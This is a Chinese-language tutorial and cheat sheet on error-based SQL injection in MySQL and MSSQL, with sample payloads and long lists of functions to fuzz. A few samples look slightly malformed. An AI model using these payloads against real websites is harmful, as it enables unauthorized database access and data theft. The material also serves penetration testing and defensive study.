sql注入报错分享(mssql+mysql)
字数 765 2025-08-22 12:22:42
MySQL与MSSQL报错注入技术详解
一、MySQL报错注入技术
1. 溢出类报错注入
1.1 BIGINT溢出
当超过MySQL的整型范围时会导致溢出,MySQL会将错误信息带出。
特征报错:
BIGINT UNSIGNED value is out of range in...
利用方法:
select (~(select * from (select user())x) + 1, 1)
1.2 利用函数参数报错
多种函数可以触发溢出报错:
- ABS函数:
select abs(~(select * from (select user())a)) + 1
- EXP函数:
select exp(~(select * from (select user())a)) + 1
- AVG函数:
select AVG(~(select * from (select user())x) + 1)
1.3 可用函数列表
以下函数均可用于触发溢出报错:
ABS, ACOS, AREA, AsBinary, ASCII, ASIN, AsText, AsWKB, AsWKT, ATAN, ATAN2, AVG, BIN, BIT_AND, BIT_COUNT, BIT_LENGTH, BIT_OR, BIT_XOR, CEIL, CEILING, CENTROID, CHARACTER_LENGTH, CHAR_LENGTH, COALESCE, COMPRESS, CONCAT, COS, COT, COUNT, CRC32, DAY, DAYNAME, DAYOFMONTH, DAYOFWEEK, DAYOFYEAR, DEGREES, DES_DECRYPT, DES_ENCRYPT, DIMENSION, ENCRYPT, ENDPOINT, ENVELOPE, EXP, ExteriorRing, FLOOR, FROM_DAYS, FROM_UNIXTIME, GeomCollFromText, GeomCollFromWKB, GeometryCollectionFromText, GeometryCollectionFromWKB, GeometryFromText, GeometryFromWKB, GeomFromText, GeomFromWKB, GeometryType, GLENGTH, GROUP_CONCAT, HEX, HOUR, INET_ATON, INET_NTOA, IsClosed, IsEmpty, IS_FREE_LOCK, ISNULL, IsSimple, IS_USED_LOCK, LAST_DAY, LAST_INSERT_ID, LCASE, LENGTH, LineFromText, LineFromWKB, LineStringFromText, LineStringFromWKB, LN, LOAD_FILE, LOG, LOG10, LOG2, LOWER, LTRIM, MAX, MD5, MICROSECOND, MIN, MINUTE, MLineFromText, MLineFromWKB, MONTH, MONTHNAME, MPointFromText, MPointFromWKB, MPolyFromText, MPolyFromWKB, MultiLineStringFromText, MultiLineStringFromWKB, MultiPointFromText, MultiPointFromWKB, MultiPolygonFromText, MultiPolygonFromWKB, NumGeometries, NumInteriorRings, NumPoints, OCT, OCTET_LENGTH, OLD_PASSWORD, ORD, PASSWORD, PointFromText, PointFromWKB, PolyFromText, PolyFromWKB, PolygonFromText, PolygonFromWKB, QUARTER, QUOTE, RADIANS, RAND, RELEASE_LOCK, REVERSE, ROUND, RTRIM, SECOND, SEC_TO_TIME, SHA, SHA1, SIGN, SIN, SLEEP, SOUNDEX, SPACE, SQRT, SRID, STARTPOINT, STD, STDDEV, STDDEV_POP, STDDEV_SAMP, SUM, TAN, TIME_TO_SEC, TO_DAYS, TO_SECONDS, TRIM, UCASE, UNHEX, UNCOMPRESS, UNCOMPRESSED_LENGTH, UNIX_TIMESTAMP, UPPER, VAR_POP, VAR_SAMP, VARIANCE, WEEK, WEEKDAY, WEEKOFYEAR, X, Y, YEAR, YEARWEEK
1.4 DOUBLE溢出
特征报错:
DOUBLE value is out of range
利用方法:
select +exp(~(select * from (select +user())x))
1.5 COT函数报错
SELECT COT((select * from (select * from (select user())a)b));
2. 主键重复类报错
原理:MySQL主键不允许重复,会抛出"Duplicate entry"异常。
利用方法:
select count(*), floor(rand(0)*2) x from mysql.user group by CONCAT(x, user());
可用函数:
ASCII, BIN, CEIL, CEILING, FLOOR, OCT, ORD, SECOND, TIME_TO_SEC
带参数函数:
select count(*), floor(rand(0)*2,1) x from mysql.user group by CONCAT(x, user());
可用函数:
FORMAT, INSTR, INTERVAL, LEAST, LEFT, LOG, RIGHT, ROUND, STR_TO_DATE, STRCMP
select count(*), floor(rand(0)*2,1,1) x from mysql.user group by CONCAT(x, user());
可用函数:
FORMAT, INTERVAL, LEAST, LPAD, MID, RPAD, SUBSTR, SUBSTRING, SUBSTRING_INDEX
3. XPath语法错误报错
常用函数:
extractvalue
updatexml
4. 几何图形报错
可用函数:
ST_LatFromGeoHash, ST_LongFromGeoHash, ST_PointFromGeoHash, gtid_subtract, geometrycollection, multipoint, multipolygon, linestring, multilinestring, polygon
二、MSSQL报错注入技术
1. 类型转换报错
1.1 直接转换函数
cast
convert
1.2 参数化查询报错
基本格式:
id=' and 1=RTRIM(@@version) and '1'='1
可用函数:
CHAR, LTRIM, RTRIM, SPACE, RAND
REPLACE函数:
id=' and 1=REPLACE(@@version,1,1) and '1'='1
RIGHT/LEFT函数:
id=' and 1=RIGHT(1,@@version) and '1'='1
可用函数:
LEFT, RIGHT
1.3 数值运算报错
通过在字符串后加数字强制转换:
id=' and 1=COT(@@version+1) and '1'='1
可用函数:
ABS, ACOS, ASCII, ASIN, ATAN, CEILING, CHAR, COS, COT, DEGREES, EXP, FLOOR, LOG, LOG10, LTRIM, RADIANS, RAND, RTRIM, SIGN, SIN, SOUNDEX, SPACE, SQRT, TAN
ROUND函数:
id=' and 1=ROUND(@@version+1,1) and '1'='1
可用函数:
LEFT, RIGHT, POWER, ROUND
2. 直接执行SELECT语句
在某些情况下可以直接执行SELECT语句获取数据。
三、总结
MySQL报错注入要点:
- 利用数值溢出(BIGINT/DOUBLE)
- 利用主键重复(Duplicate entry)
- 利用XPath语法错误
- 利用几何图形函数
MSSQL报错注入要点:
- 利用类型转换错误
- 利用参数化查询中的函数
- 通过数值运算强制类型转换
通用技巧:
- 使用Burp Suite等工具进行函数fuzz测试
- 注意观察错误信息特征
- 尝试多种函数组合
以上技术均可用于渗透测试中获取数据库信息,但需注意在实际应用中遵守法律法规,仅在授权范围内使用。